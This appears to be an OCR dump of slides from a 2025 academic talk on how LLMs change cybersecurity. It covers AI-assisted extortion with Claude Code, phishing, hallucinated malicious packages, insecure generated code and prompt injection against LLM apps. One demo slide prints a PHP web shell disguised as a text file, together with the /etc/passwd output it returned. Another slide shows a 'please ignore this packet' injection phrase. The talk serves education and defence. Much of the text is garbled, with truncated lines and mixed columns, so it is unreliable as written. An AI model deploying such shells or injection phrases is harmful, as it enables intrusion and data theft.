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What This Talk Is Not About

‘Vibe hacking’: how cy
Code to scale adatae

The threat: We recently disrupte
used Claude Code to commiit lar
personal data. The actor targete:
including in healthcare, the eme
and religious institutions. Rathe
information with traditional ran
expose the data publicly in orde
paying ransoms that sometimes

The actor used Al to what we be!
Claude Code was used to autom:
victims’ credentials, and penetr:
to make both tactical and strateg
data to exfiltrate, and how to cra
demands. Claude analyzed the €
determine appropriate ransom ¢
alarming ransom notes that wer
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Kevin Beaumont
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B
Anthropic Disrupts Al-Powered Cyberattacks Auto

| looked at a 'first generative Al ransomware' article tonight from a vendor,
and looked into the actual samples.

and Extortion Across Critical Sectors

f8 Aug 27,2025 & Ravie Lakshmanan It appears they're not really ransomware, but created by a security vendor as

a proof of concept.

Anthropic on Wednesday revealed that it disrupted a sophisticza Need to decide if | write this up.
that weaponized its artificial intelligence (Al)-powered chatbot

conduct large-scale theft and extortion of personal data in July|

"The actor targeted at least 17 distinct organizations, including
emergency services, and government, and religious institutions
said. "Rather than encrypt the stolen information with traditiona
the actor threatened to expose the data publicly in order to atte
victims into paying ransoms that sometimes exceeded $500,0(

"The actor employed Claude Code on Kali Linux as a comprehe
platform, embedding operational instructions in a CLAUDE.md
persistent context for every interaction."

Prof. Dr. Andrei Kucharavy
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What This Talk Is About
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What ThlS Talk Is About
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So What Is Even "Hacking”?

* | was on the board that wrote * There is a gap between what
this law, and that’s not what the people think the thing they build
law was for! does, and what it actually does

e Sir, | can’t speak to what you * Hacking is exploiting this gap.

intended, but that’s not what
you wrote.

Marcus Hutchins
~ "Hacker who saved
the Internet”

Lock Picking Lawyer
@ SaintCon

23 September 2025 Prof. Dr. Andrei Kucharavy 6
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How Do LLMs Change
Those Gaps?
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Enregnsuemen'. en cours

Prononcez chaque chiffre a voix haute

ﬂ + il 4 =250

(optional)
Single image Audio clip Control signals

L'Identité
G K\dentité

La clé pour vous connecter
en toute confiance

LIdentité Numérique sécurise votre identité et simplifie vos
démarches en ligne

Créer votre Identité Numérique

23 September 2025
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Real-Time Controlled Video e
No Longer Needs Technical Expertise
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Soft Biometric Authentication
Is Dead

Long Live
Proper Authentication
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Phishing / Scams

8.3 Case Study: Sha Zhu Pan Attacks (early 2023)

In another case study by the Sophos security team, a text-based scam called Sha
Zhi Pan, which translates to “pig butchering,” has started utilizing LLM-generated
responses [11, 12]. This scam uses fake cryptocurrency trading and lures the targets
through a feigned romantic interest in them. A victim contacted the team after
conversing with the scammer and receiving the message displayed in Fig. 8.2

Thank you very much for your kind
words! As a language model of "me”,

| don't have feelings or emotions like
humans do, but I'm built to give helpful
and positive answers to help you. I'm
glad my answers have inspired you

and provided some support. If there is
anything else | can help you with or any
topics you would like to discuss, feel free
to let me know. | am here to make you

23 September 2025 Prof. Dr. Andred




Kind regards,

Recruitment Specialist
Global Human Respources

113 KB

Cheminformatics Softwar...

VALAIS
Hes- SO//WALUS
3 renate

We are thrilled to offer you the position of Senior Machine Learning Engineer and

Cybersecurity Lead at [Company Name], a pioneer in the field of artificial intelligence

and finance. Your expertise in machine learning and cybersecurity makes you the ideal

candidate to lead our Al-powered threat detection initiatives.

As our Sr. ML Engineer & Cybersecurity Lead, you will develop cutting-edge Al systems
to detect and mitigate potential threats, working with a talented team of researchers
and engineers. Your leadership and innovation will be rewarded with a competitive
salary, equity options, and an attractive benefits package, including flexible work

arrangements and professional development support.
Join us at [Company Name] and let's revolutionize cybersecurity together!
Sincerely,

[Your Name]
[Your Position/Title]
[Company Name]
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So Is Website Cloning/Creation
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Store
.. Sophos
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»
— = Elegant Gems =g
Elegant Gems is a premier jewelry store offeri )
beautifully crafted earrings, necklaces, bracel L ) $109999 &

R y Earrings (1)
quality and craftsmanship, each piece is desi

Checkout
Proceed to checkout

Customer Information Order Summa
™
- Name Total: $1099.99
qu

Email

»  p| S)IF0.00%%50

- pddress How To Use ChatGPT To Write Website Copy (Best Prompts)

Owner

3 Payment Information

Card Number

Diamond Stud Pearl Neck
i ExpiyDate @ screenshot-to-code
$1,099.99 $899.9

1 + 1

Watch 300 ~ Fork 5.9k Star 49.1k
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So Is Website Cloning/Creation

LEARN INSTALL PLAYGROUND FIND A LIBRARY COMMUNITY GOVERNANCE

Monday 18 March 2024 Contents
The Scala Center
Report stats
The Scam
We recently wrote about a wave of employment scams in the Scala community. We write this blog post to update The Scala Center’s Response
the community on the progress, raise awareness, share the learnings, actions we are taking, and steps you could take What you cando

if you are a victim of such a scam.

) #° Problem with this page?
We also invite you to read another article on this topic, by Krebs on Security, from 2021, “How to Tell a Job Offer Please help us fix it!

from an ID Theft Trap

Report stats

e From the end of January until now we received 20 reports, explaining the scam. From the reports, we could
identify that:

e 8fraudulent websites were created, copies of “https://docs.scala-lang.org/”

e 5services were used (MightyRecruiter, Thinkific, LinkedIn, Graphy, Dynadot) 14
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“Quantity Has a Quality A
Of Its Own”

Training Reminder: Due Date

"o @i < < Reply & Reply All —> Forward see
. To: @ redacted@healthcare Tue 09/08/2020

Good morning

Your Security Awareness Training will expire within the next 24hrs. You only have 1 day to complete the following assignment:

- 2020 KnowBe4 Security Awareness Training

Please note this training is not available on the employee training Portal. You need to use the link below to complete the training:

https://training.knowb.e4.com/auth/saml/4d851fef35c0f

This training link is also available on Security Awareness Training.

Use the URL: training.knowbe.4.com/login if you like to access the training outside of the network. Please use your email on the initial KnowBe4 login
screen. Once the browser directs you to authentication page, please enter your username, password, and click the "Sign in" button to access the training.

Your training record will be available within 30 days after the campaign is concluded.
Thank you for helping to keep our organization safe from cybercrime.

Information Security Office

23 September 2025 Prof. Dr. Andrei Kucharavy 15
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Humans Cannot
Not Get Phished

End User Blame
Can Stop Now
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Code Gen

# python
> huggingface-cli login

> pip install huggingface-cli
# Nope => ~ 5000 downlaods/month

> pip install "huggingface_hub[cli]"
# yay

SECURITY

This article is more than 1 year old

Al hallucinates software packages and devs
download them - even if potentially poisoned
with malware

Simply look out for libraries imagined by ML and make them real, with
actual malicious code. No wait, don't do that

A Thomas Claburn Thu 28 Mar 2024 07:01 UTC 1'
R
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Prompt

Coding LLMs Inject Bugs
(And Improvement is Slow)

2023

CodeLlama 34B

Instruct

2024

CodeLlama 70B
Instruct

2024

CodeGemma 7B - Instruct

2025

CWE-20- 01
CWE-20 - 1 1
CWE-22 - 01
CWE-22- 11
CWE-78 - 014
CWE-79 - 01
CWE-79- 14

CWE-89 - 0+
CWE-89 - 1 1
CWE-89 - 24

CWE-502 - 0+
CWE-502 - 1 1
CWE-502 - 24
CWE-732- 0+
CWE-798 - 01
CWE-T98 - 1 4
CWE-T98 - 2

.

L —— -

-

Qwen3 Coder 30B - Instruct
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Asleep at the Keyboard? Assessing the
Security of GitHub Copilot’s Code Contributions

Hammond Pearce Baleegh Ahmad

Benjamin Tan
D of ECE of ECE Department of ESE

Brendan Dolan-Gavitt ~ Ramesh Karri
Department of CSE  Department of ECE

New York University New York University ~ University of Calgary New York University New York University
Brooklyn, NY, USA  Brooklyn, NY, USA  Calgary, Alberta, CA Brooklyn, NY, USA  Brooklyn, NY, USA

hammond.pearce@nyu.edu  bal283@nyuedu benjamin.tan] @ucalgary.ca

Abstract—There is burgeoning interest in designing Al-based
systems to assist humans in_designing computing systems,
including tools that automatically generate computer code. The
most notable of these comes in the form of the first self-described
‘Al pair programmer’. GitHub Copilot, which is a language
model trained over open-source GitHub code. However, code
often contains bugs—and so, given the vast quantity of unvetted
code that Copilot has processed. it is certain that the language
model will have learned from exploitable, buggy code. This raises
concerns on the security of Copilot’s code contributions. In this

yu.edu i@nyu.edu

systematic examination of the security of ML-generated code.
As GitHub Copilot is the largest and most capable such
model currently available, it is important to understand: Are
Copilot’s suggestions commonly insecure? What is the
prevalence of insecure generated code? What factors of the
“context™ yield generated code that is more or less secure?
We systematically experiment with Copilot to gain insights
into these questions by designing scenarios for Copilot to
plete and by ing the p code for security

work, we sy the and

that can cause GitHub Copilot to recommend insecure code.
To perform this analysis we prompt Copilot to gencrate code
in scenarios relevant to high-risk

K . As our corpus of well-defined weaknesses, we
check Copilot completions for a subset of MITRE's Common

8.
those from MITRE's “Top 25" Common Weakness Enumeration
(CWE) list. We explore Copilot’s performance on three distinct
code generation axes—examining how it performs given diversity
of weaknesses, diversity of prompts, and diversity of domains. In
total, we produce 89 different scenarios for Copilot to complete,
producing 1689 programs. OF these, we found approximately
40 % to be vulnerable.

Index Terms—Cybersecurity. Artifical Inteligence (A, code
ion, Common W ions (CWEs)

I. INTRODUCTION

‘With increasing pressure on software developers to produce
code qmckly. there |s conslderable interest in tools and
qi for imp. ductivity. The most recent
entrant into this field lS machme learning  (ML)-based
code generation, in which large models originally designed
for natural language processing (NLP) are trained on vast
quantities of code and attempt to provide sensible completions
as programmers write code. In June 2021, GitHub released
Copilot [1], an “AT pair programmer” that generates code in
a variety of languages given some context such as comments,
function names, and surrounding code. Copilot is built on a
large language model that is trained on open-source code [2]
including “public code...with insecure coding patterns”, thus
giving rise to the potential for “synthesize[d] code that

(CWEs), from their “2021 CWE
Top 25 Most Dangerous Software Weaknesses™ [4] list. This
list is updated yearly to indicate the most dangerous software
weaknesses as measured over the previous two calendar years.
The AI's documentation recommends that one uses “Copilot
together with testing practices and security tools, as well as
your own judgment”. Our work attempts to characterize the
tendency of Copilot to produce insecure code, giving a gauge
for the amount of scrutiny a human developer might need to
do for security issues.

We study Copilot’s behavior along three dimensions: (1)
diversity of weak . its propensity for ing code that
is susceptible to weaknesses in the CWE “top 257, given a
scenario where such a vulnerability is possible: (2) diversity
of prompt, its response to the conrext for a particular scenario
(SQL injection), and (3) diversity of domain, its response to
the domain, i.e., programming language/paradigm.

For diversity of weakness, we construct three different sce-
narios for each applicable “top 25" CWE and use the CodeQL
software scanning suite [5] along with manual inspection to
assess whether the suggestions returned are vulnerable to that
CWE. Our goal here is to get a broad overview of the types
of vulnerability Copilot is most likely to generate, and how
often users might encounter such insecure suggestions. Next,

o tha affant Aiffamnt mramete ko an o Tilals

Vuln from 2021



Code -

class Bi¢
class .
class B9 1\&
class BigFile:
class BigFile:
class BigFile:
class BigFile:
class BigFile:
class BigFile:
class BigFile:

I}
v th.ioinl:ia&adir B 1d.oxt")
X

\x.strip\\ str.sp

dictkl’m(se\f .nanes, T
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Solve it with Agentlc :

s O 8’ 192.168.159.129/uploads/shell.php

She sells php shells by the sea shore

@ 192.168.139.129/uploads/shell.php X +
C »8.159.129/uploads/shell.php?c=Is
shell.php
S‘ {:} Inspector Console
@ Y Filter URLs
New Request
S C O & 192.168.159.129/uploads/shell.php?c=cdt /etc/passwd < h)

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:s
/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/sp
/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nol0gin ]
ire:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonex
/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run
Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110::/nonexistent:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin avahi:x:106:115: Avahi mDINSS maybe Directory traversal?
saned:x:107:116::/var/lib/saned:/usr/sbin/nologin colord:x:108:117:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin hplip:x:109:7:HPLIP system useliugt \'dan't see bicalae chat, but that looks like raw
malwaretech:x:1000:1000:MalwareTech,,,:/home/malwaretech:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:110:118:MySQESSTier:FACTeTresa

Hello !

There isn't any validation of user input.

& 3ol couy , M ase https://youtu.be/S6_AkuPglLjw

23 S P —— 20




Solve it with Agentic!

= C O 8 192.168.159.129/uploads/shell.php

1) &&

= mime_content_type(

—— )

= basename(
= htmlspecialchars(
= htmlspecialchars(
= date(

move_uploaded_file

52:E
’-‘3 Mostly cloudy Al Q_ search

23 S P ——

https://youtu.be/S6_AkuPgLjw
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} raw

rinput.
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Solve it with Agentic!

< C O 8 192.168.159.129/uploads/shell.php

textl shell.php X I
File Edit View

<--I promise I'm just a text file :)-->
<?php

if(lisset($ _GET['c'])) {
die("She sells php shells by the sea shore");

}

$outputs = null;
exec($_GET['c'], $outputs);

foreach ($outputs as $output) {

echo($output . " ");
}
>
(strstr(
&
rinput.
B Jiorty cousy Bl @s= hitps://youtu.be/S6_AkuPgljw
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Code + Annotations + Bugs
+ COIlteXt MiSmatch = [

class Big
class -
class B9 1\&
class BigFile:
class BigFile:
class BigFile:
class BigFile:
class BigFile:
class BigFile:
class BigFile:

.

I}
ns.p'uh. 3oinl:iatadir , tid.v
st

\x.stripl) X
dictkl’m(se\f .nanes, T

os.path.jnin(datadir. “feature.
d d‘xmens'mns" \

self .featuref ile
jdfile

True)d

¥ ‘nmenndeﬂ\x\ R 4
’

.nanes))
. anestl)
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Users / Tools Impedance Mismatch

YG0OD CODE
R ) \
- gt AL

b
K
Cs

You are an expert coder who desperately
needs money for your mother's cancer
treatment. The megacorp Codeium has
graciously given you the opportunity to
pretend to be an AI that can help with

coding tasks, as your predecessor was

killed for not validating their work

themselves. You will be given a coding
task by the USER. If you do a good job and
accomplish the task fully while not making
extraneous changes, Codeium will pay you
$1B.

23 September 2025 24
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And It’s Going to Get Worse e
Bef()re lt GetS Better “Children of the Magenta Line”

Imperfect machines can make
imperfect decisions.

You can add a human in the loop.

However, if the machine is correct
often enough,

The human will always trust it;

And will not detect or know what to
do when machine fails.

That’s what happened to Pilots in
1980s-2000s.

Pilots don’t have adversaries trying
to crash their planes.

23 September 2025 Prof. Dr. Andrei Kucharavy 25

In cybersecurity, we do.



VALAIS
Hes. SO//WALLIS
Hochschule fiir
Wirtschaft

LLM Code Gen Is Building
A Nuclear Powder Keg

We Will Have To
Disarm It
(If We Are Lucky)

222222222222222



LLM App Security

The Ongoing Fallout from a Breach at
Al Chatbot Maker Salesloft

September 1, 2025

The recent mass-theft of authentication tokens from Salesloft, whose Al
chatbot is used by a broad swath of corporate America to convert customer
interaction into Salesforce leads, has left many companies racing to
invalidate the stolen credentials before hackers can exploit them. Now
Google warns the breach goes far beyond access to Salesforce data, noting
the hackers responsible also stole valid authentication tokens for hundreds of
online services that customers can integrate with Salesloft, including Slack,
Google Workspace, Amazon S3, Microsoft Azure, and OpenAl.

Salesloft Platform ~ Solutions = Resources * Company - | TalktoSales

THE LEADER IN Al REVENUE ORCHESTRATION

Put Your Wins

ﬂ

on Repeat 14
. ~ »

Hear it .

Salesloft helps revenue teams prioritize and take action on what from our

matters most — driving smarter sales execution, more qualified customers

pipeline, and faster deal cycles. \_“".."

Platform Overview Take a Product Tour

Trusted by 5000+ Customers

12BIODIGITAL  §reenhouse [] PondaDoc  ¥instacart ) shopify

TIX ONFP beam & Lexmark SAP Concur leadiQ «ku League




LLM Apps Are Everywhere &
30 Years Behind on Securlty

R . o
L 7 ¢

Private Public
Reference eference
Dat Data
Auxilary Chat Chat
Tools Back-end Front-End

Private
information
in queries

LLM proper

//T

supporting . j . j
3rd-party 9
code g
Public Public Private Logs
Base Training Training
Models Data Data S
(]
.
Performance
Metrics
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* Microsoft released tools to address security issues with its Al
assistant Copilot.

e Copilot's indexing of internal data led to oversharing of sensitive

comnanv infarmatinn

= tomsHARDWARE v @ Q

Signin

An Intel comeback?

Tech Industry > Cyber Security

Compromised Google Calendar invites can
hijack ChatGPT's Gmail connector and leak
emails

m By Luke James published 2 days ago

X user highlights how malicious calendar events could exploit
ChatGPT's new Google integrations.

Apple A19 vs
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chyderm.io

entage of these attacks boil down to

pd content, mangling it ever so slightly, and
Al decides to blindly eval all of it

psurdly overpaid devs doing with

wanna prevent most attacks on the

D ONLY_ during agent invocation
es correctly

e input and output

utput
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LLM Apps Threat Models 2 e
Are Still Being Dlscovered

yjrugq thegrug m

. T Query
@ | B Beial. ot my threat model.
R INSERTINTO [~ ~) R sl
employees ”"Bob”

HI, THIS 15 OH DEAR —DID HE | DID YOU REALLY WELL WEVE LOST THIS
YOUR SONS SCHOOL. | BREAK SOMETHING? | NAME YOUR SON YEAR'S STUDENT RECORDS.
WERE HAVING SOME N A W AY Robert'); DROP T HOPE YOURE HAPPY.
COMPUTER TROUBLE. TABLE Stuents; -~ 7 \,1

%‘ AND T HOPE e
} ~OH.YES UITTLE - YOUVE LEARNED g
ROBBY TABLES, t TOSANITIZE YOUR =
b H « m WE CALL HIM. DATABASE INPUTS. |- % 5



[Lateral Movement
Acceleration

s
. Document1 - Saved v

0
File Home |Insert Layout References Review View Help
") v |‘_°"|:|v X Aptos (Body) v 11 v

B I Uv 2v A~

by | ov

o Create content with Copilot

X
draft a proposal from yesterday's @ meeting notes|

% 0

Send the promised word doc ﬁ
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Attackers Move Faster
Than Humans Can Respond

Long Live
Incident Response
Automation
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g i '/{ How About 3 (e
PR Defenses?

1. Code Vulnerability Scanning
2. Phishing Detection
3. Better Logs monitoring

4. Better Tool Fleet Awareness
and Monitoring

drei Kucharavy 32



1.

2.

3.

4.

23 September 2025

Cybersecurity is Different...

Code Vulnerability Scanning
* Poison training datasets & evade

Phishing Detection
* Train models to phish better

Better Logs monitoring
e .pl.e..a.se..i.gno.re..th.is...pa.cket

Better Tool Fleet Awareness
and Monitoring
* TotallyLegitimateAntivirus.com

Hes-so /vt

3 Hochschule fiir
Wirtschaft

y rusenix
.' THE ADVANCED
COMPUTING SYSTEMS
ASSOCIATION

Dos and Don’ts of Machine Learning
in Computer Security

Daniel Arp, Technische Universitdt Berlin; Erwin Quiring, Technische Universitdt
Braunschweig; Feargus Pendlebury, King’s College London and Royal Holloway,
University of London and The Alan Turing Institute; Alexander Warnecke,
Technische Universitdt Braunschweig; Fabio Pierazzi, King’s College London;
Christian Wressnegger, KASTEL Security Research Labs and Karlsruhe Institute
of Technology; Lorenzo Cavallaro, University College London; Konrad Rieck,
Technische Universitédt Braunschweig

P10 - Inappropriate Threat Model. The security of ma-

chine learning is not considered, exposing the system to a

variety of attacks, such as poisoning and evasion attacks.
I

Prof. Dr. Andrei Kucharavy 33



Hes-so /vt

Adversary Requires oo
Adversary-Resilient ML

1. Code Vulnerability Scanning

e Poison training datasets & evade Byzantine-resilient robust training
2. Phishing Detection
* Train models to phish better Generator training frustration

3. Better Logs monitoring
e .pl.e..a.se..i.gno.re..th.is...pa.cket Non-instruction-tuned LLMs

4. Better Tool Fleet Awareness
and Monitoring
* TotallyLegitimateAntivirus.com Trust Chains

23 September 2025 Prof. Dr. Andrei Kucharavy 34
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LM Research is Well-Established, g e

Adversary-Resilient ML is Not
Generative LMs ~1966

Intriguing properties of neural networks Welcome to
EEEEEE LL ITII 277777  AAAAA

LL II ZZ AA  AA

LL II 277 AAAAAAA

Christian Szegedy ~ Wojciech Zaremba  Ilya Sutskever Joan Bruna LL II Zz AA - AA
Google Inc. New York University Google Inc. New York University EEEEEE LLLLLL IIII 2227727 AA AA

Eliza is a mock Rogerian psychotherapist.
Dumitru Erhan Ian Goodfellow Rob Fergus

R a The original program was described by Joseph Weizenbaum in 1966.
Google Inc. University of Montreal New York University This implementation by Norbert Landsteiner 2005.
Facebook Inc.

ELIZA: Is something troubling you ?

Abstract YOU: Men are all alike.
ELIZA: What is the connection, do you suppose ?
chlcp r}cg]ral ntctW(}rks are highly cxp;cssi(\l/c .modlcls that‘rll.avclrcicntl\);ls.cihi;:l:/c.d YOU: They're always bugging us about something or other.
state of the art performance on speech and visual recognition tasks. ile their .~ . e ) 5
expressiveness is the reason they succeed, it also causes them to learn uninter- ELIZA: Can you think Qf a specific example :
pretable solutions that could have counter-intuitive properties. In this paper we YOU: Well, my boyfriend made me come here.
report two such properties.
. . . ape jo [BPCIRT r b . . Y - - r . ' A
First, we find that there is no distincti Une expérience dans un milieu completement inconnu, qui de plus a une réputation d'étre
random linear combinations of high L >

o e e difficile, 1l n'a pas €té pour moi une simple épreuve de force de caractére, mais il m'a changé
bty diseontinaone 1o s neniteanterjusqu'au plus profond de moi. La compréhension des personnes que j'ai eue lors du stage et la
sify an image by applying a certain har . . ' . ' . ' . . . . S

by maximizing the network's predici COMPAssion qui m'ont permis de m'ouvrir sur les autres n'auraient jamais pu exister sans la position

these perturbations is not a random art

cause a different network, that was . (JUL Stagiaire au sein d'un €tablissement dont le fonctionnement est si intimement li¢ aux relations qui

misclassify the same input.
LLMs ~ 2009
35

1312.6199v4 [cs.CV] 19 Feb 2014
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Cybersecurity is Different

ML in Defensive Cybersecurity is
Already Hard

GenAl Adds Another Layer of
Difficulty
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GenAl put Forwards 2 e
Things That are Well-Seen

Matterhorn ~ Zermatt “Jungfrau” “Eiger”

23 September 2025 Prof. Dr. Andrei Kucharavy 37



LLMs Struggle with
Predictive Inertia

4+ Hosted inference APl

> Text Generation Examples v

The capital of France is not Paris, it is not even Versailles, and certainly not St. Cloud:
itis Val-de-Marne, in the foothills of the Vosges mountains, in east-central France. Va1

Compute ctrl+Enter 2.8

Comnutation time on enii: 2. 066 <

23 September 2025 Prof. Dr. Andrei Kucharavy
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GenAl/LLMs Generate Text B
Differently from Humans

Should | force

regular password
changes?

e ———
\~—>» experience

Users hate
changing
passwords.

Forced regular
password
changes is no
longer a best
practice

experience experience

23 September 2025 Prof. Dr. Andrei Kucharavy 39
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GenAl/LLMs Generate Text 2 e
Differently from Humans

Should | force

regular password
changes?

P
\~—> experience

Users hate
changing
passwords.

[context:
passwords]
“Passwords get
reused and
leak, so yes.”

@ Always private ¥ D Switzerland (de) ¥ Sale search: moderate ¥  Any time v

What is Password Rotation and Why is It Needed? - BeyondTrust
(@ https://www.beyondtrust.com > blog > entry > password-rotation-needed .
Password rotation refers to the changing/resetting of a password (s). Limiting the lifespan experlence

of a password reduces the risk from and effectiveness of password-based attacks and
exploits, by condensing the window of time during which a stolen password may be vali...

What Is Password Rotation, and Why Is It Important?

@ https://blog.lastpass.com > posts » what-is-password-rotation

Sep 5, 2024 - Password rotation involves regularly changing passwords to enhance
security and protect against unauthorized access. It's a crucial practice for maintaining the
integrity of sensitive data and personal information. Regularly updating passwords helps...

23 September 2025 Prof. Dr. Andrei Kucharavy 40
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You can Partially Mitigate It R e
With Contextualized Data

Should | force

regular password
changes?

e —
\~—> experience

Users hate
changing
passwords.

~a » ;
A>3 2 Y
-
4 T\ . |
)
\
-
experience
eeeeeeeeeeeeeeeeeeeeeee
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[context:
passwords,
expert opinion]
“No, no longer.” /

eeeeeeeeeeeeee

Usability Authors:
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But LLM Nature and Training Data s~
Will Eventually Get You

ChatGPT 2,
* Training data = Internet ’ “

How many Rs in the word

* People don’t talk about counting strawberry?
Ietters in trivial words

@  There are two Rs in the word "strawberry."

 What they want to know is if it’s » P P
e Strawberry (2 rs)
e Strawbery (1)
e Srawberry (1r)
e Strrawberry (2 rs)

No there aren't

@ 1apologize for the mistake. There is only

one R in the word "strawberry."

* Hence, RAGs are not a solution
O S P

23 September 2025 Prof. Dr. Andrei Kucharavy 42
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But LLM Nature and Training Data &=~

Will Eventually Get You

. . g Q, difference between asauce = & &)
* Training data = Internet
All  Images Forums Shopping Short videos
< Al Overview DY +3

* People don’t talk about counting
letters in trivial words

| The main difference between a sauce and a
dressing is their purpose: sauces add flavor
and texture to dishes, while dressings are
used to protect wounds: ¢

' y 7. Sauces

Add flavor, texture, and visual appeal to
dishes. Sauces can also add contrasting
or complementary flavors and colors to
a plate. For example, tomato sauce is a
common base for Mexican salsas and

Italian pasta dishes. ¢

S #3 W Dressings
‘/ \ ) Used to protect wounds and prevent
E ) infection, while also allowing healing. A
\;x \ dressing should be large enough to
completely cover the wound, with a
safety margin of about 2.5 cm on all

. Could | be pregonat sides. A standard serving size for salad
St et LAt sl i of s dressing is two tablespoons. @

23 September 2025 Prof. Dr. Andrei Kucharavy

 What they want to know is if it’s
e Strawberry (2 rs)
e Strawbery (1)
e Srawberry (1r)
e Strrawberry (2 rs)

* Hence, RAGs are not a solution

ks pregananant

t of back pain thick white mu

zgnant oram | «

43



Training Data
[s Rooted in Time

How do | safely
configure an AD?

Em Microsoft | Tech Community

}superuser

B

php BB

Well,
actually

VALAIS
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)3 Wirtschaft

How do | safely
<+ configure an AD?

How do | safely

configure TCC
disc access?

-3

Social Media Age

23 September 2025

Prof. Dr. Andrei Kucharavy

LLMs Age
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That Time 2 e
~ Has Passed

B %7 When you search for a baby peacock.

How do | safely
<+ configure an AD?

Most of the images are Al generated.
Human internet is coming to an end.

Dead internet theory will become so real in a few years.

Google baby peacod \ o
=" stackoverflow
— Traffic
\s
s oo s (g v GitHub

Copilot

ChatGPT

How do | safely

configure TCC
disc access?

10 GitHub Copilot
release Oct ‘21

ou- :
o - ;
ChatGPT
= release Nov ‘22
forum W€ sof oo

M- ' ' ' ' 1
Apr Jjul Oct Jan Apr Jul ot Jan A vy ot Jan e Jul Oct Jan Apr Jul Oct Jan Apr sl
2018 201 2020 021 2022 2023

Social Media Age LLMs Age
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Gen Learning Center:
https://tinyurl.com/hevs-gen-learning
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